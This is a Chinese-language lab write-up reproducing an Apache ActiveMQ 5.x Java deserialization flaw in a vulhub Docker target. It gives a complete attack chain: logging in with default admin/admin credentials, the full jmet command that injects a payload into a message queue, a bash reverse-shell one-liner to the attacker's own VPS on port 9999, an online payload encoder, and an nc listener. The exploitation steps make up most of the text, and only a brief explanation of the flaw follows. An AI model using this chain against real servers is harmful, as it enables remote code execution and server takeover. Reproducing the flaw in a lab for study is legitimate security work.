0x00 实验环境
攻击机:Win 10
靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)
0x01 影响版本
Apache ActiveMQ 5.13.0之前的5.x版本
0x02 漏洞复现
(1)实验环境:docker运行的vulhub漏洞环境首先,可直接访问到页面的显示为:
(2)使用默认口令:admin/admin 进入后台:
(3)版本为5.11.1,存在该编号漏洞:
(4)下载使用如下工具进行漏洞利用:
https://github.com/matthiaskaiser/jmet/releases
这款工具我也是第一次使用,先不管原理,充分发挥脚本小子的优势复现一波。
首先是下载好利用工具:(需要我复现工具的可以先点个关注,然后私聊我)
(5)然后使用如下命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch test" -Yp ROME 有漏洞的IP 61616
虽然存在部分报错,但不影响结果,后台成功生成一条序列号,这里存在一个避坑的地方——记得必须点击此序列号后才会执行上述的“touch test”命令:
进入容器,我们可以发现还尚未创建——test文件:
(6)点击上面的序列号后即可在有漏洞的服务器内生成一个——test文件:
(7)以上是创建文件的操作,此时更换为反弹shell的命令即可达到获取服务器shell的目的:
bash -i >& /dev/tcp/自己的vps/9999 0>&1
(8)此时需要在如下网站进行编码:
http://www.jackson-t.ca/runtime-exec-payloads.html
(9)编码成功后如上面创建文件的操作,即可getshell:
(10)nc开启9999端口的监听:
0x03 实验原理
该漏洞源于程序没有限制可在代理中序列化的类。
远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
没有发现有更深入的漏洞原理分析,故希望观者自行查找学习。